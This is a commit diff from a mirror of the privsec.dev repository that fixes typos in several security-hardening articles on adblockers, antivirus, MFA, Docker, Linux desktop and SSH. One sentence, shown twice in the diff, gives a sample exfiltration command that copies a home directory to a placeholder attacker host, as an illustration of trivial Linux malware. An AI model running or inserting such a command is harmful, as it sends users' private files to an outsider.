mirror of
https://github.com/PrivSec-dev/privsec.dev
synced 2024-07-02 15:56:25 -04:00
ayaen
parent
7e1f99eb28
commit
dd04f8e032
|
|
@ -1,5 +1,5 @@
|
|||
---
|
||||
title: "Banking Applications Compatbility with GrapheneOS"
|
||||
title: "Banking Applications Compatibility with GrapheneOS"
|
||||
date: "2022-01-26"
|
||||
tags: ['Applications', 'Android']
|
||||
author: akc3n
|
||||
|
|
@ -209,4 +209,4 @@ Thank you for collaborating on project and contributing:
|
|||
|
||||
[^2]: [twitter.com/ZanthedNT](https://twitter.com/ZanthedNT/status/1487709142559174657) | [nitter.eu](https://nitter.eu/ZanthedNT/status/1487709142559174657)
|
||||
|
||||
[^3]: [GrapheneOS Banking apps - paras. 3, ln. 2](https://grapheneos.org/usage#banking-apps) - [twitter.com/ZanthedNT](https://twitter.com/ZanthedNT/status/1487709144316534785) | [nitter.eu](https://nitter.eu/ZanthedNT/status/1487709144316534785)
|
||||
[^3]: [GrapheneOS Banking apps - paras. 3, ln. 2](https://grapheneos.org/usage#banking-apps) - [twitter.com/ZanthedNT](https://twitter.com/ZanthedNT/status/1487709144316534785) | [nitter.eu](https://nitter.eu/ZanthedNT/status/1487709144316534785)
|
||||
|
|
|
|||
|
|
@ -17,9 +17,9 @@ On top of the [obvious problem](#the-obvious-problem) mentioned above, there are
|
|||
|
||||
"Okay, so adblockers are unreliable, but what is the harm?" you may ask.
|
||||
|
||||
The problem here is that adblockers (especially with Manifest v2) are highly privileged and have access to all of your data within the browser. All it takes is for the extension developer to turn malicious for your passwords, session ids, TOTP secrets, etc to get compromised. Even if you were to assume that the extension developer is trustworthy, one vulnerability within the extension could still be catastrophic. This is made worse by the fact that adblockers typically use third-party blocklists, extending trust to the blocklist maintainers to not exploit the extension should a vulnerability be found. The ["uBlock, I exfiltrate"](https://portswigger.net/research/ublock-i-exfiltrate-exploiting-ad-blockers-with-css) blog post describes in detail how a CSS injection vulnerability in uBlockOrigin lead to data exfiltration with one sigle bad filtering rule.
|
||||
The problem here is that adblockers (especially with Manifest v2) are highly privileged and have access to all of your data within the browser. All it takes is for the extension developer to turn malicious for your passwords, session ids, TOTP secrets, etc to get compromised. Even if you were to assume that the extension developer is trustworthy, one vulnerability within the extension could still be catastrophic. This is made worse by the fact that adblockers typically use third-party blocklists, extending trust to the blocklist maintainers to not exploit the extension should a vulnerability be found. The ["uBlock, I exfiltrate"](https://portswigger.net/research/ublock-i-exfiltrate-exploiting-ad-blockers-with-css) blog post describes in detail how a CSS injection vulnerability in uBlockOrigin lead to data exfiltration with one single bad filtering rule.
|
||||
|
||||
Overall, adblockers weaken your security for dubios privacy benefits. You are better off not using any advertisement/tracker blocking extensions at all. If you want to avoid stateful tracking, consider clearing all cookies and site data upon exit, using [FireFox containers](https://linuxbsdos.com/2021/11/27/see-multi-account-containers-extension-is-not-needed-to-use-containers-in-firefox/), or using multiple browser instances. You would also need to hide your IP address using a VPN or something like the Tor network as well. If you are worried about stateless tracking, use a browser with fingerprinting protection like Brave (which can fool naive scripts) or Tor Browser (which has the best fingerprint protection in the market, albeit [a lot less secure](https://medium.com/@thegrugq/tor-and-its-discontents-ef5164845908)).
|
||||
Overall, adblockers weaken your security for dubious privacy benefits. You are better off not using any advertisement/tracker blocking extensions at all. If you want to avoid stateful tracking, consider clearing all cookies and site data upon exit, using [FireFox containers](https://linuxbsdos.com/2021/11/27/see-multi-account-containers-extension-is-not-needed-to-use-containers-in-firefox/), or using multiple browser instances. You would also need to hide your IP address using a VPN or something like the Tor network as well. If you are worried about stateless tracking, use a browser with fingerprinting protection like Brave (which can fool naive scripts) or Tor Browser (which has the best fingerprint protection in the market, albeit [a lot less secure](https://medium.com/@thegrugq/tor-and-its-discontents-ef5164845908)).
|
||||
|
||||
## DNS Filtering
|
||||
|
||||
|
|
@ -27,14 +27,14 @@ DNS filtering solutions. while not having any negative impact on security, are t
|
|||
|
||||
It should also be noted that websites can detect which DNS servers a visitor uses. You can look at [DNSLeakTest](https://www.dnsleaktest.com/) as an example. Using non-network provided DNS servers adds to the fingerprint and make you more identifiable.
|
||||
|
||||
The best way to do DNS filtering is to use a VPN provider which has this feature built in like [ProtonVPN](https://protonvpn.com), [Mullvad](https://mullvad.net), and [IVPN](https://www.ivpn.net/) in order to not standout from other users of the same VPN provider. Even then, DNS filtering is purely a convenince feature and cannot be relied on for privacy and security.
|
||||
The best way to do DNS filtering is to use a VPN provider which has this feature built in like [ProtonVPN](https://protonvpn.com), [Mullvad](https://mullvad.net), and [IVPN](https://www.ivpn.net/) in order to not standout from other users of the same VPN provider. Even then, DNS filtering is purely a convenience feature and cannot be relied on for privacy and security.
|
||||
|
||||
## Antiviruses
|
||||
|
||||
Antiviruses are highly privileged processes with access to virtually all of your files and data, parsing through them trying to find something that matches a known bad signature. Beyond the fact that you need to trust the Antivirus company to not exfiltrate your sensitive data and that the signature list will never have all of the malware in existence, a vulnerable parser could lead to a system compromise. The [Abusing File Processing in Malware Detectors for Fun and Profit](/researches/Abusing-File-Processing-in-Malware-Detectors-for-Fun-and-Profit.pdf) research paper by Suman Jana and Vitaly Shmatikov discusses this in detail.
|
||||
|
||||
Here are some other examples of Anviruses being attack surfaces on their own:
|
||||
- [Arbitary Code Execution with Avast's Javascript Interpreter](https://github.com/taviso/avscript)
|
||||
- [Arbitrary Code Execution with Avast's Javascript Interpreter](https://github.com/taviso/avscript)
|
||||
- [Memory Corruption with Bitdefender](https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/)
|
||||
- [Kaspersky in the Middle](https://web.archive.org/web/20210729054039/https://palant.info/2019/08/19/kaspersky-in-the-middle-what-could-possibly-go-wrong/)
|
||||
|
||||
|
|
|
|||
|
|
@ -87,6 +87,6 @@ When using TOTP with an authenticator app, be sure to back up your recovery keys
|
|||
|
||||
You are only as secure as the weakest authentication method you use. For instance, it makes little sense to add SMS 2FA as an alternative MFA method if you are already using FIDO2. An adversary who can compromise your SMS 2FA will get into your account just as easily as if you didn't use FIDO2 at all.
|
||||
|
||||
Thus, it is important to stick to the best authentication method you have acess to. It is better to have 2 Yubikeys for FIDO2 than 1 FIDO2 key and one authenticator app for TOTP. Likewise, it is better to have 1 TOTP instance and a backup key than to use TOTP alongside with Email or SMS 2FA.
|
||||
Thus, it is important to stick to the best authentication method you have access to. It is better to have 2 Yubikeys for FIDO2 than 1 FIDO2 key and one authenticator app for TOTP. Likewise, it is better to have 1 TOTP instance and a backup key than to use TOTP alongside with Email or SMS 2FA.
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -53,7 +53,7 @@ Pattern unlock is extremely insecure and should be avoided at all cost. This is
|
|||
|
||||
If you trust the hardware enforced rate limiting features (typically done by the [Secure Element](https://en.wikipedia.org/wiki/Secure_cryptoprocessor) or [Trusted Execution Environment](https://en.wikipedia.org/wiki/Trusted_execution_environment)) of your device, a 8+ digit PIN may be sufficient.
|
||||
|
||||
Ideally, you should be using a 8-10 word [diceware passphrase](https://en.wikipedia.org/wiki/Diceware) to secure your phone. This would make your phone unlock practially impossible to bruteforce, regardless of whether there is proper rate limiting or not.
|
||||
Ideally, you should be using a 8-10 word [diceware passphrase](https://en.wikipedia.org/wiki/Diceware) to secure your phone. This would make your phone unlock practically impossible to bruteforce, regardless of whether there is proper rate limiting or not.
|
||||
|
||||
## Use Global Toggles
|
||||
|
||||
|
|
@ -116,7 +116,7 @@ My recommendation is to stick with the Google Play Store unless your threat mode
|
|||
|
||||
### F-Droid
|
||||
|
||||
F-Droid, despite being oftenly recommended in the privacy community, has various security deficiencies. You can read more about them [here](../../apps/f-droid-security-analysis/).
|
||||
F-Droid, despite being often recommended in the privacy community, has various security deficiencies. You can read more about them [here](../../apps/f-droid-security-analysis/).
|
||||
|
||||
I do not recommend that you use F-Droid at all unless you have no other choice to obtain certain apps. In some rare cases, there may be some apps which require the F-Droid version to work properly without Google Play Services. If you do end up using F-Droid, I highly recommend that you avoid the official F-Droid client (which is extremely outdated and targets API level 25) and use a more modern client with seamless updates such as [NeoStore](https://github.com/NeoApplications/Neo-Store). You should also avoid using the official F-Droid repository as mmuch as possible and stick to the F-Droid repositories hosted by the app developers instead.
|
||||
|
||||
|
|
|
|||
|
|
@ -99,10 +99,10 @@ Fedora Workstation and Silverblue's European counterpart. These are rolling rele
|
|||
|
||||
### Whonix
|
||||
|
||||
[Whonix](https://www.whonix.org/) is a distribution focused on anonimity based on [Kicksecure](https://www.whonix.org/wiki/Kicksecure). It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden.
|
||||
[Whonix](https://www.whonix.org/) is a distribution focused on anonymity based on [Kicksecure](https://www.whonix.org/wiki/Kicksecure). It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden.
|
||||
|
||||
Some of its features include Tor Stream Isolation, [keystroke anonymization](https://www.whonix.org/wiki/Keystroke_Deanonymization#Kloak), [encrypted swap](https://github.com/Whonix/swap-file-creator), and a hardened memory allocator.
|
||||
|
||||
Future versions of Whonix will likely include [full system AppArmor policies](https://github.com/Whonix/apparmor-profile-everything) and a [sandbox app launcher](https://www.whonix.org/wiki/Sandbox-app-launcher) to fully confine all processes on the system.
|
||||
|
||||
Although Whonix is best used [in conjunction with Qubes](https://www.whonix.org/wiki/Qubes/Why_use_Qubes_over_other_Virtualizers), Qubes-Whonix has [various disadvantages](https://forums.whonix.org/t/qubes-whonix-security-disadvantages-help-wanted/8581) when compared to other hypervisors.
|
||||
Although Whonix is best used [in conjunction with Qubes](https://www.whonix.org/wiki/Qubes/Why_use_Qubes_over_other_Virtualizers), Qubes-Whonix has [various disadvantages](https://forums.whonix.org/t/qubes-whonix-security-disadvantages-help-wanted/8581) when compared to other hypervisors.
|
||||
|
|
|
|||
|
|
@ -40,7 +40,7 @@ For the rest of this article, we will use Docker as the reference for our exampl
|
|||
Containers are made from images, and images are typically built from a Dockerfile. Images can be built and distributed through OCI registries: [Docker Hub](https://hub.docker.com/), [Google Container Registry](https://cloud.google.com/container-registry), [GitHub Container Registry](https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-container-registry), and so on. You can also set up your own private registry as well, but the reality is that people often pull images from these public registries.
|
||||
|
||||
### Images, immutability and versioning
|
||||
Images are what make containers, well, containers. Containers made from the same image should behave similary on different machines. Images can have **tags**, which are useful for software versioning. The usage of generic tags such as `latest` is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn't be (more on that below). **Digest**, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.
|
||||
Images are what make containers, well, containers. Containers made from the same image should behave similarly on different machines. Images can have **tags**, which are useful for software versioning. The usage of generic tags such as `latest` is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn't be (more on that below). **Digest**, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.
|
||||
|
||||
```
|
||||
docker.io/library/golang:1.17.1@sha256:232a180dbcbcfa7250917507f3827d88a9ae89bb1cdd8fe3ac4db7b764ebb25
|
||||
|
|
@ -80,7 +80,7 @@ The main drawback of using minimal images is the lack of tools that help with de
|
|||
### Keeping images up-to-date
|
||||
The two other points are highly problematic, because most software vendors just publish an image on release, and forget about it. You should take it up to them if you're running images that are versioned but not regularly updated. I'd say running scheduled builds **once a week** is the bare minimum to make sure dependencies stay up-to-date. Alpine Linux is a better choice than most other "stable" distributions because it usually has more recent packages.
|
||||
|
||||
Stable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren't always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it's once again a particulary good choice as long as `musl` doesn't cause issues.
|
||||
Stable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren't always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it's once again a particularly good choice as long as `musl` doesn't cause issues.
|
||||
|
||||
### Is it really a security nightmare?
|
||||
When people say Docker is a security nightmare because of that, that's a fair point. On a traditional system, you could upgrade your whole system with a single command or two. With Docker, you'll have to recreate several containers... if the images were kept up-to-date in the first place. Recreating itself is not a big deal actually: hot upgrades of binaries and libraries often require the services that use them to restart, otherwise they could still use an old (and vulnerable) version of them in memory. But yeah, the fact is most people are running outdated containers, and more often than not, they don't have the choice if they rely on third-party images.
|
||||
|
|
@ -99,7 +99,7 @@ Traditionally, Docker runs as a daemon owned by root. That also means that root
|
|||
|
||||
> The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system.
|
||||
|
||||
That applies particulary to traditional containers which weren't designed to provide a robust level of isolation. A recent example was [CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/): the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we'll mention them. But fundamentally, container escapes are possible by design.
|
||||
That applies particularly to traditional containers which weren't designed to provide a robust level of isolation. A recent example was [CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/): the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we'll mention them. But fundamentally, container escapes are possible by design.
|
||||
|
||||
Breaking out via the OCI runtime `runc` is also possible, although [CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) was a particularly nasty bug. The attacker had to gain access to root in the container first in order to access `/proc/[runc-pid]/exe`, which indicates them where to overwrite the `runc` binary.
|
||||
|
||||
|
|
@ -165,7 +165,7 @@ Never use the `--privileged` option unless you really need to: a privileged cont
|
|||
MACs and seccomp are robust tools that may vastly improve container security.
|
||||
|
||||
### Mandatory Access Control
|
||||
MAC stand for Mandatory Access Control: traditionnally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are **AppArmor** and **SELinux**: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help... Yet, their sole presence does not mean they're really effective. A robust policy starts from a *deny all* policy, and only allows the necessary resources to be accessed.
|
||||
MAC stand for Mandatory Access Control: traditionally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are **AppArmor** and **SELinux**: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help... Yet, their sole presence does not mean they're really effective. A robust policy starts from a *deny all* policy, and only allows the necessary resources to be accessed.
|
||||
|
||||
### seccomp
|
||||
seccomp (short for secure computing mode) on the other hand is a much simpler and complementary tool, and there is no reason not to use it. What it does is restricting a process to a set of system calls, thus drastically reducing the attack surface available.
|
||||
|
|
@ -255,4 +255,4 @@ Still not convinced? What if I told you a container can leverage the same techno
|
|||
|
||||
If you're running untrusted workloads, I highly suggest you consider gVisor instead of a traditional container runtime. Your definition of "untrusted" may vary: for me, almost everything should be considered untrusted. That is how modern security works, and how mobile operating systems work. It's quite simple, security should be simple, and gVisor simply offers native security.
|
||||
|
||||
Containers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren't. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you've never thought of.
|
||||
Containers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren't. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you've never thought of.
|
||||
|
|
|
|||
|
|
@ -52,8 +52,8 @@ Something being open source does not imply that it is inherently private, secure
|
|||
|
||||
## But there is less malware on Linux!
|
||||
|
||||
**Secuity by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
|
||||
**Security by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
|
||||
|
||||
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targetted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
|
||||
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
|
||||
|
||||
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.
|
||||
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.
|
||||
|
|
|
|||
|
|
@ -62,7 +62,7 @@ openSUSE uses a [unique ID](https://en.opensuse.org/openSUSE:Statistics) to coun
|
|||
|
||||
Zorin OS uses the `zorin-os-cencus` package, which also uses a [unique ID](https://zorin.com/legal/privacy/) to count systems. You can opt out of this by doing `sudo apt purge zorin-os-census`, and optionally hold it with `sudo apt-mark hold zorin-os-census` to avoid accidentally installing it in the future.
|
||||
|
||||
[Snapd](https://github.com/snapcore/snapd) assigns a [unique ID](https://snapcraft.io/docs/snap-store-metrics) to your snapd installation and use it for telemetry. While this is generally not a problem, if your threat model calls for anonimity, you should not be using snap packages, and you should remove snapd from your Ubuntu installation. Like with Zorin Census, on Debian based distributions, and especially Ubuntu, consider holding `snapd` with `sudo apt-mark hold snapd`.
|
||||
[Snapd](https://github.com/snapcore/snapd) assigns a [unique ID](https://snapcraft.io/docs/snap-store-metrics) to your snapd installation and use it for telemetry. While this is generally not a problem, if your threat model calls for anonymity, you should not be using snap packages, and you should remove snapd from your Ubuntu installation. Like with Zorin Census, on Debian based distributions, and especially Ubuntu, consider holding `snapd` with `sudo apt-mark hold snapd`.
|
||||
|
||||
Of course, this is a non-exhaustive list of how different Linux distributions do this. If you are aware of any other tracking mechanisms that different distributions use, feel free to make a [pull request](https://github.com/PrivSec-dev/privsec.dev/blob/main/content/os/Linux-Desktop-Hardening.md) or [discussion post](https://github.com/PrivSec-dev/privsec.dev/discussions) detailing them!
|
||||
|
||||
|
|
@ -105,7 +105,7 @@ Snap packages come in [two variants](https://snapcraft.io/docs/snap-confinement)
|
|||
|
||||
Snap permissions can be managed via the Snap Store or Ubuntu's custom patched GNOME Control Center.
|
||||
|
||||
One caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, snap has seperate interfaces for `audio-playback` and `audio-record`; however, some packages will only declare the legacy `pulseaudio` interface which grants them permission to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the Snap package to update the manifest accordingly.
|
||||
One caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, snap has separate interfaces for `audio-playback` and `audio-record`; however, some packages will only declare the legacy `pulseaudio` interface which grants them permission to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the Snap package to update the manifest accordingly.
|
||||
|
||||
### Firejail
|
||||
|
||||
|
|
@ -189,7 +189,7 @@ If you are using non-classic [Snap](https://en.wikipedia.org/wiki/Snap_(package_
|
|||
There are some additional kernel hardening options such as configuring [sysctl](https://en.wikipedia.org/wiki/Sysctl#Linux) keys and [kernel command-line parameters](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) which are described in the Madaidan's guide. You should read through them before applying these changes.
|
||||
|
||||
- [2.2 Sysctl](https://madaidans-insecurities.github.io/guides/linux-hardening.html#sysctl)
|
||||
- [2.5.2 Blacklisting kenrel modules](https://madaidans-insecurities.github.io/guides/linux-hardening.html#kasr-kernel-modules)
|
||||
- [2.5.2 Blacklisting kernel modules](https://madaidans-insecurities.github.io/guides/linux-hardening.html#kasr-kernel-modules)
|
||||
|
||||
Madaidan recommends that you disable unprivileged [user namespaces](https://madaidans-insecurities.github.io/linux.html#kernel) due to it being responsible for various privileged escalation vulnerabilities. However, some software such as Podman and LXD require unprivileged user namespaces to function. If you decide that you want to use these technoligies, do not disable `kernel.unprivileged_userns_clone`.
|
||||
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ The main problem with SSH keys is that they're not magic: they consist of a key
|
|||
|
||||
All these attempts are particularly a thing on desktop platforms, because they don't have a proper sandboxing model. On Windows, non-UWP apps could likely have full access to your `.ssh` directory. On desktop Linux distributions, sandboxing is also lacking, and the situation is even worse if you're using X.org since it allows apps to spy on each other (and on your keyboard) by design. A first good step would be to only use SSH from a trusted & decently secure system.
|
||||
|
||||
Another layer of defense would obviously be multi-factor authentification, or the fact that you're relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it's vulnerable to various attacks, and relies on the quality of the implementation on the server.
|
||||
Another layer of defense would obviously be multi-factor authentication, or the fact that you're relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it's vulnerable to various attacks, and relies on the quality of the implementation on the server.
|
||||
|
||||
|
||||
## How?
|
||||
|
|
@ -47,7 +47,7 @@ ssh-keygen -t ed25519-sk -O resident -O application=ssh:user1
|
|||
As you can see, a few options must be specified:
|
||||
|
||||
- `-O resident` will tell `ssh-keygen` to generate a resident key, meaning that the private "handle" key will also be stored on the security key itself. This has security implications, but you may want that to move seamlessly between different computers. In that case, you should absolutely protect your key with a PIN beforehand.
|
||||
- `-O application=ssh:` is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use `ssh:` with an empty user ID). If this is not specificed, the next key generation might overwrite the previous one.
|
||||
- `-O application=ssh:` is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use `ssh:` with an empty user ID). If this is not specified, the next key generation might overwrite the previous one.
|
||||
- `-O verify-required` is optional but instructs that a PIN is required to generate/access the key.
|
||||
|
||||
Resident keys can be retrieved using `ssh-keygen -K` or `ssh-add -K` if you don't want to write them to the disk.
|
||||
|
|
@ -72,4 +72,4 @@ Restart the `sshd` service and try to connect to your server using your key hand
|
|||
## That's cool, right?
|
||||
If you don't have a security key, you can buy one from [YubiKey](https://www.yubico.com/fr/store/) (I'm very happy with my 5C NFC by the way), [Nitrokey](https://www.nitrokey.com/), [SoloKeys](https://solokeys.com/) or [OnlyKey](https://onlykey.io/) (to name a few). If you have an Android device with a hardware security module (HSM), such as the Google Pixels equipped with Titan M (Pixel 3+), you could even use them as bluetooth security keys.
|
||||
|
||||
*No reason to miss out on the party if you can afford it!*
|
||||
*No reason to miss out on the party if you can afford it!*
|
||||
|
|
|
|||
|
|
@ -70,5 +70,5 @@ Finally, enable the `lokinet` service:
|
|||
## Creating the AppVM
|
||||
|
||||
Just create the AppVM as usual, and you would be good to go. There are a few things to keep in mind though:
|
||||
- You should probably set networking to use `sys-firewall`. I have tested using my ProtonVPN ProxyVM for networking, and DNS was not working. Besides, it makes litle sense to attempt such setup anyways, unless you are worried about accidental leaks or a compromised AppVM.
|
||||
- You should probably set networking to use `sys-firewall`. I have tested using my ProtonVPN ProxyVM for networking, and DNS was not working. Besides, it makes little sense to attempt such setup anyways, unless you are worried about accidental leaks or a compromised AppVM.
|
||||
- You should give the AppVM the `network-manager` service so that Lokinet can set up networking properly and get DNS working.
|
||||
|
|
|
|||
Loading…
Reference in New Issue
Block a user